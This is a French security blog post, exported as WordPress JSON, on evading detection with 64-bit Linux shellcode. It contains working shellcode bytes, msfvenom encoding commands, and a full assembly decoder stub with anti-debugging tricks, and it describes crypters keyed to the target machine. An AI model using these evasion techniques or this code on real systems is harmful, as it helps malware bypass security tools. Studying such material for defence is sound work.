{"id":39,"date":"2017-12-31T16:19:03","date_gmt":"2017-12-31T15:19:03","guid":{"rendered":"http:\/\/pentester.blog\/?p=39"},"modified":"2019-08-18T19:49:01","modified_gmt":"2019-08-18T17:49:01","slug":"linux-shellcode-64-bits-partie-2","status":"publish","type":"post","link":"https:\/\/hacktarus.fr\/?p=39","title":{"rendered":"Linux shellcode 64 bits &#8211; Encoders et Crypters"},"content":{"rendered":"<p>L&rsquo;objet de cette s\u00e9rie d&rsquo;articles est d&rsquo;aborder quelques techniques d&rsquo;\u00e9vasion pour des shellcodes.<\/p>\n<p>Cet article fait suite \u00e0 l&rsquo;article pr\u00e9c\u00e9dent\u00a0<a href=\"http:\/\/hacktarus.fr\/?p=1\">Linux shellcode 64 bites &#8211; Obfuscation<\/a><\/p>\n<p><strong>Encoders<\/strong><\/p>\n<p>Le shellcode vu dans l<a href=\"http:\/\/hacktarus.fr\/?p=1\">&lsquo;article pr\u00e9c\u00e9dent<\/a> est obfusqu\u00e9, c&rsquo;est pas mal, mais on peut faire mieux en utilisant des encoders.<\/p>\n<p>Pour encoder votre shellcode vous avez le choix entre :<\/p>\n<ol>\n<li>Utiliser un encoder existant<\/li>\n<li>Modifier un encoder existant<\/li>\n<li>Cr\u00e9er un nouveau encoder<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li><strong><em>Utiliser un encoder existant\u00a0<\/em><\/strong><\/li>\n<\/ol>\n<p>C&rsquo;est la solution de facilit\u00e9 mais il faut savoir que les signatures et les algorithmes des encoders publiques sont connues. Si vous pensez \u00e0 l&rsquo;encoder polymorphique \u00ab\u00a0shikata ga nai\u00a0\u00bb de Metasploit et bien il est facilement rep\u00e9rable de part la pr\u00e9sence syst\u00e9matique de l&rsquo;instruction (suspecte) FNSTENV.<\/p>\n<p>Si malgr\u00e9 tout la technique vous tente, vous pouvez utiliser l&rsquo;utilitaire msfvenom de Metasploit.<\/p>\n<p>D&rsquo;abord, exporter votre shellcode sous format d&rsquo;opcodes :<\/p>\n<pre>for i in $(objdump -d sc64 |grep \"^ \" |cut -f2); do echo -n '\\x'$i; done;echo\r\n\\xeb\\x01\\xe9\\x48\\xb9\\x02\\x50\\x4a\\x42\\x01\\x53\\x50\\x00\\x48\\x0f\\x6e\\xc1\\x48\\xb9\\x2d\\x12\\x1f\\x2c\\x2e\\x20\\x18\\x00\\x48\\x0f\\x6e\\xc9\\x0f\\xdc\\xc1\\x48\\x0f\\x7e\\xc1\\x0f\\x77\\x48\\x31\\xd2\\xb0\\x30\\x51\\x48\\x8d\\x3c\\x24\\x04\\x0b\\x0f\\x05 \r\n<\/pre>\n<p>Ensuite il suffit d&rsquo;envoyer ces opcodes dans un des encoders de msfvenom. Pour avoir la liste des encoders disponibles :<\/p>\n<pre>msfvenom -l encoders<\/pre>\n<p>Exemple d&rsquo;encodage du shellcode avec l&rsquo;encoder XOR :<\/p>\n<pre>echo -ne \"\\xeb\\x01\\xe9\\x48\\xb9\\x02\\x50\\x4a\\x42\\x01\\x53\\x50\\x00\\x48\\x0f\\x6e\\xc1\\x48\\xb9\\x2d\\x12\\x1f\\x2c\\x2e\\x20\\x18\\x00\\x48\\x0f\\x6e\\xc9\\x0f\\xdc\\xc1\\x48\\x0f\\x7e\\xc1\\x0f\\x77\\x48\\x31\\xd2\\xb0\\x30\\x51\\x48\\x8d\\x3c\\x24\\x04\\x0b\\x0f\\x05\u00a0\"\r\n| msfvenom -f c -e x64\/xor -a x64 --platform linux<\/pre>\n<p>Cyberd\u00e9fense<\/p>\n<p>En principe les outils modernes du march\u00e9 suffisent \u00e0 bloquer ce genre d&rsquo;encoders car les signatures et algorithmes sont connues.<\/p>\n<p><strong>2. <em>Modifier un encoder existant\u00a0\u00a0<\/em><\/strong><\/p>\n<p>Il suffit de prendre le code source de l&rsquo;encoder, de le modifier un peu en ajoutant quelques instructions m\u00eame inutiles. Cela suffit souvent \u00e0 passer \u00e0 travers les outils bas\u00e9s sur les signatures ou du pattern-matching.<\/p>\n<p>Cyberd\u00e9fense<\/p>\n<p>Les outils bas\u00e9s sur les signatures uniquement ne suffisent plus dans ce cas l\u00e0, il faut utiliser d&rsquo;autres techniques de d\u00e9tections, comme l&rsquo;analyse comportementale en faisant par exemple appel \u00e0 l&rsquo;\u00e9mulation de code.<\/p>\n<p><strong>3. C<em>r\u00e9er un nouveau encoder<\/em><\/strong><\/p>\n<p>L&rsquo;avantage d&rsquo;un encoder tout nouveau c&rsquo;est que sa signature et son algorithme ne sont pas connus, c&rsquo;est ce que je vous propose dans cet article.<\/p>\n<p>Le principe est relativement simple : dans un premier temps il faut dumper les opcodes du shellcode puis cr\u00e9er un algorithme qui mixe tous ces opcodes.<\/p>\n<p>Afin de r\u00e9cup\u00e9rer les opcodes, tous les moyens sont bons, un script Python, un \u00e9diteur hexad\u00e9cimal, la commande xxd, etc&#8230;<\/p>\n<p>Sinon vous pouvez toujours r\u00e9cup\u00e9rer un script de dump tout fait sur <a href=\"http:\/\/www.commandlinefu.com\/commands\/matching\/shellcode\/c2hlbGxjb2Rl\/sort-by-votes\">www.commandlinefu.com<\/a><\/p>\n<p>Une fois que vous avez votre suite d&rsquo;opcodes il faut trouver une fa\u00e7on de les encoder. Dans ce domaine tout est possible, libre cours \u00e0 votre imagination !<\/p>\n<p>L&rsquo;algorithme propos\u00e9 ici est sommaire, il s&rsquo;agit de swapper les opcodes comme dans un miroir. J&rsquo;\u00e9change le premier opcode avec le dernier opcode, le deuxi\u00e8me avec l&rsquo;avant-dernier, etc, La condition pour que cet algorithme fonctionne est un nombre pair d&rsquo;opcodes ; si ce n&rsquo;est pas le cas il suffit d&rsquo;ajouter une instruction inutile en fin de code comme un nop.<\/p>\n<p>Voila, une fois l&rsquo;algorithme d\u00e9fini, il n&rsquo;y a plus qu&rsquo;\u00e0 le baptiser, coder l&rsquo;encoder, en g\u00e9n\u00e9ral en Python, puis le decoder en assembleur ; j&rsquo;ai appel\u00e9 cet encoder, le \u00ab\u00a0mirror encoder\u00a0\u00bb.<\/p>\n<p>Je n&rsquo;ai pas mis ici le code source de l&rsquo;encoder, si cela vous int\u00e9resse faites-moi signe, je le mettrai en ligne.<\/p>\n<p>Quant au decoder, voici un exemple d&rsquo;impl\u00e9mentation en assembleur 64 bits utilisant la technique du \u00ab\u00a0JMP-CALL-POP\u00a0\u00bb :<\/p>\n<pre>; Author : Patrice Siracusa\r\n;\r\n; $ nasm -f elf64 sc64.nasm -o sc64.o\r\n; $ ld sc64.o -o sc64\r\n\r\nglobal _start\r\n\r\nsection .text   \r\n_start:\t\r\n\tjmp begin+1\t\t    ; anti dump, disalign opcode\r\nbegin:\r\n\tdb 0xe9\t                    \r\n                                    ; anti debugging\r\n\trdtsc                       ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])\r\n\txor ecx,ecx                 ; sets ECX to zero\r\n\tadd ecx,eax                 ; save timestamp to ECX\r\n\trdtsc                       ; get another timestamp\r\n\tsub eax,ecx                 ; compute elapsed ticks\r\n\tcmp eax,0xFFF\t\t    ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)\r\n\tjl next\r\n\tretn\t\t\t    ; program crash\r\nnext:\r\n \r\n        jmp ONSTACK   \r\nGO_LOOP:\r\n        pop r8                       ; r8 is the SC address\r\n\txor rcx, rcx                 ; offset to first SC byte\r\n\tmov rdx, 0x3d                ; offset to last SC byte = SC length -1         \r\nLOOP:\r\n\tcmp rcx, 0x1F                ; SC length \/ 2 - stop swapping bytes when we are in the middle\r\n\tje SC                        ; go to decoded shell code\r\n\t\r\n\tmov al, byte [r8+rcx]        ; save values\r\n\tmov bl, byte [r8+rdx]\r\n\r\n\tmov byte [r8+rcx], bl        ; swap values\r\n\tmov byte [r8+rdx], al\r\n  \r\n\tinc rcx                      ; go to next byte from left to right\r\n\tdec rdx                      ; go to next byte from right to left\r\n        jmp LOOP                 \r\nsection .data\r\nONSTACK:\r\n\tcall GO_LOOP\r\nSC:\tdb 0x05,0x0f,0x0b,0x04,0x24,0x3c,0x8d,0x48,0x51,0x08,0xe9,0xc1,0x48,0x30,0xb0,0x08,0xe1,0xc1,0x48,0xd2,0x31,0x48,0x77,0x0f,0xc1,0x7e,0x0f,0x48,0xc1,0xdc,0x0f,0xc9,0x6e,0x0f,0x48,0x69,0x18,0x20,0x2e,0x2c,0x1f,0x12,0x2d,0xb9,0x48,0xc1,0x6e,0x0f,0x48,0x69,0x50,0x53,0x01,0x42,0x4a,0x50,0x02,0xb9,0x48,0xe9,0x01,0xeb\r\n\r\n<\/pre>\n<p>Cyberd\u00e9fense<\/p>\n<p>Un moyen de contrer ces attaques est de passer par de l&rsquo;\u00e9mulation de code (je vous conseille d&rsquo;aller voir le projet Unicorn).<\/p>\n<p><strong>Crypters<\/strong><\/p>\n<p>Ici l&rsquo;id\u00e9e n&rsquo;est plus d&rsquo;encoder le shellcode mais bel et bien d&rsquo;utiliser du chiffrement ( sym\u00e9trique, ou asym\u00e9trique).<\/p>\n<p>Le plus simple est de partir sur un algorithme sym\u00e9trique comme RC4 ou AES en r\u00e9cup\u00e9rant une impl\u00e9mentation sur le Net puis de chiffrer le shellcode encod\u00e9.<\/p>\n<p><strong>Le chainage<\/strong><\/p>\n<p>C&rsquo;est ce que j&rsquo;appelle la totale !<\/p>\n<p>C&rsquo;est le chainage de toutes les techniques d&rsquo;\u00e9vasion sur un m\u00eame shellcode.<\/p>\n<p>On part du shellcode d&rsquo;origine sur lequel on applique de l&rsquo;obfuscation, puis un encoder et enfin un crypter.<\/p>\n<p>Mais un bon d\u00e9codeur se doit de masquer sa clef de d\u00e9chiffrement.<\/p>\n<p>Pour cela il peut utiliser comme clef un identifiant unique de la machine cible (son nom, son ip, etc) de telle sorte que si on ex\u00e9cute ou \u00e9mule le code du d\u00e9coder sur une autre machine, on aboutisse \u00e0 rien de significatif.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>L&rsquo;objet de cette s\u00e9rie d&rsquo;articles est d&rsquo;aborder quelques techniques d&rsquo;\u00e9vasion pour des shellcodes. Cet article fait suite \u00e0 l&rsquo;article pr\u00e9c\u00e9dent\u00a0Linux shellcode 64 bites &#8211; Obfuscation Encoders Le shellcode vu dans l&lsquo;article pr\u00e9c\u00e9dent est obfusqu\u00e9, c&rsquo;est pas mal, mais on peut faire mieux en utilisant des encoders. Pour encoder votre shellcode vous avez le choix entre &hellip; <a href=\"https:\/\/hacktarus.fr\/?p=39\" class=\"more-link\">Continuer la lecture de <span class=\"screen-reader-text\">Linux shellcode 64 bits &#8211; Encoders et Crypters<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-39","post","type-post","status-publish","format-standard","hentry","category-shellcode"],"_links":{"self":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/39","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=39"}],"version-history":[{"count":52,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/39\/revisions"}],"predecessor-version":[{"id":51,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/39\/revisions\/51"}],"wp:attachment":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=39"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=39"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=39"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}